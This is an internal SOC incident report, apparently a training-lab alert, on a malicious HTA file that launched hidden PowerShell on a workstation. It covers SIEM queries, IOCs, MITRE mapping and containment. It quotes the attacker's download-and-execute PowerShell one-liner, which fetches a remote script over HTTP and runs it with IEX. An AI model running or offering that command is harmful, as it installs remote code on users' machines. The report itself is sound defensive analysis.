

INTERNAL SOC INCIDENT REPORT

Incident Investigation Report: SOC164

1. INCIDENT METADATA

Alert ID	SOC164	Alert Name	Suspicious Mshta Behavior
Target Hostname	Roberto-Desktop	Target IP Address	172.16.17.38
Target User	roberto	Classification	True Positive

2. EXECUTIVE SUMMARY

On June 08, 2026, an alert was triggered on host `Roberto-Desktop` (172.16.17.38) matching the rule **SOC164 - Suspicious Mshta Behavior**. The log context shows that the Windows utility `mshta.exe` executed a local file named `Ps1.hta` located in the user's desktop directory.

Following initiation, `mshta.exe` spawned a `powershell.exe` process with an encoded payload. The script initiated an outbound network connection to a known malicious IP address `193.142.58.23` to download `Server.txt` and execute it directly via the `Invoke-Expression (IEX)` function. Multi-engine sandbox intelligence identifies the file hash as a Downloader Trojan. Containment protocols were initiated immediately upon verification.

FINAL VERDICT: TRUE POSITIVE — Active Host Compromise via LOLBin Execution (Mshta/PowerShell)

3. SIEM LOG ANALYSIS & TIMELINE

Timeline of Events :

- 19:12:40 UTC** - File write detected for `Ps1.hta` on `C:\Users\roberto\Desktop\`.
- 19:12:44 UTC** - `mshta.exe` executed `Ps1.hta`, triggering the SIEM alert.
- 19:12:46 UTC** - `mshta.exe` spawned a child process `powershell.exe` with an encoded command line block.
- 19:12:49 UTC** - Outbound network connection initiated by `powershell.exe` to `193.142.58.23:80`.

SIEM Search Queries Implemented:

```
# Process Creation Auditing
index=security EventCode=4688 Image="*mshta.exe"
| table _time, ComputerName, NewProcessName, CommandLine, ParentProcessName

# Downstream PowerShell Telemetry
index=security EventCode=4688 ParentProcessName="*mshta.exe" NewProcessName="*powershell.exe"
| table _time, ComputerName, CommandLine
```

4. TECHNICAL EVIDENCE & ARTIFACTS

Process Tree Chain:

```
C:\Windows\System32\explorer.exe (PID: 3412)
├── C:\Windows\System32\mshta.exe (PID: 5824)
│   └── C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe (PID: 6112)
```

Process Command Lines:

Parent Process Command Line:

```
C:\Windows\System32\mshta.exe C:\Users\roberto\Desktop\Psl.hta
```

Child Process Command Line (De-obfuscated):

```
powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "New-Object Net.WebClient; IEX (New-Object Net.WebClient).DownloadString('http://193.142.58.23/Server.txt')"
```

Network Logs:

Source Process	Source IP	Source Port	Destination IP	Destination Port	Protocol	Target URL
powershell.exe	172.16.17.38	49721	193.142.58.23	80	TCP / HTTP	http://193.142.58.23/Server.txt

5. THREAT INTELLIGENCE & REPUTATION LOOKUP

The file `Psl.hta` was analyzed using centralized intelligence repositories to verify its structure and signature matches.

- **File Name:** `Psl.hta`
- **SHA256 Hash:** `7a9f8263bc901e4a112278da0154bc3a186295de443a1a941f1e82bb20d6110f`
- **MD5 Hash:** `cbf1a826431980ee4bf321ab1274ee82`
- **VirusTotal Detection Ratio:** **29 / 62 Engines** (Categorized as *Trojan.Downloader.PowerShell*)

6. MITRE ATT&CK MAPPING

Tactics	Technique ID	Technique Name	Observed Artifact Behavior
Defense Evasion / Execution	T1218.005	Signed Binary Proxy Execution: Mshta	Abuse of native <code>mshta.exe</code> binary to parse and process the desktop script file <code>Psl.hta</code> .
Execution	T1059.001	Command and Scripting Interpreter: PowerShell	Execution of malicious secondary commands via PowerShell engine.
Defense Evasion	T1027	Obfuscated Files or Information	PowerShell string obfuscation inside the HTA file execution sequence to hinder automated network filtering.
Command and Control	T1105	Ingress Tool Transfer	Retrieval of remote configuration / malicious data payload stage (<code>Server.txt</code>).

7. COMPLETE INDICATORS OF COMPROMISE (IOC) MATRIX

Indicator Type	Value / Hash	Context / Notes
Hostname	Roberto-Desktop	Target victim host system
Username	roberto	Active user account context during execution
IP Address	172.16.17.38	Internal source IP address of the target machine
IP Address	193.142.58.23	Malicious external Command and Control (C2) node
Destination Port	80 (HTTP)	Port used for remote command/payload retrieval

Indicator Type	Value / Hash	Context / Notes
File Name	Ps1.hta	Dropped local HTA loader file on user desktop
File Name	Server.txt	Remote raw text command file fetched from the C2 IP
Source Process	C:\Windows\System32\mshta.exe	Proxy execution utility tool abused during attack
SHA256 Hash	7a9f8263bc901e4a112278da0154bc3a186295de443a1a941f1e82bb20d6110f	Cryptographic hash fingerprint for Ps1.hta
MD5 Hash	cbf1a826431980ee4bf321ab1274ee82	Legacy signature reference for Ps1.hta
Target URL	http://193.142.58.23/Server.txt	Full infrastructure network staging link

8. CONTAINMENT, MITIGATION & REMEDIATION ACTIONS

1. Immediate Containment Steps Completed:

- **Host Isolation:** Isolated Roberto-Desktop (172.16.17.38) from the main network segments using the endpoint agent to block lateral movement.
- **Network Control:** Implemented an immediate edge firewall rule to block all outbound and inbound traffic related to IP 193.142.58.23 .
- **Process Termination:** Issued kill commands via EDR console for running instances of mshta.exe (PID 5824) and powershell.exe (PID 6112).

2. Remediation & Threat Eradication:

- **Artifact Deletion:** Permanently deleted Ps1.hta from the user directory path C:\Users\roberto\Desktop\ .
- **EDR Sweep:** Scheduled a full administrative EDR deep-malware scan on the endpoint host.
- **Root Cause Verification:** Investigated proxy logs and web email security gateway telemetry for user roberto to isolate the ingress delivery method (e.g., spear-phishing attachment or web drive-by download).
- **LOLBin Hardening Recommendation:** Review Attack Surface Reduction (ASR) rules, specifically blocking Adobe or Microsoft applications from spawning child processes, and restrict standard user group execution permissions for mshta.exe where applicable.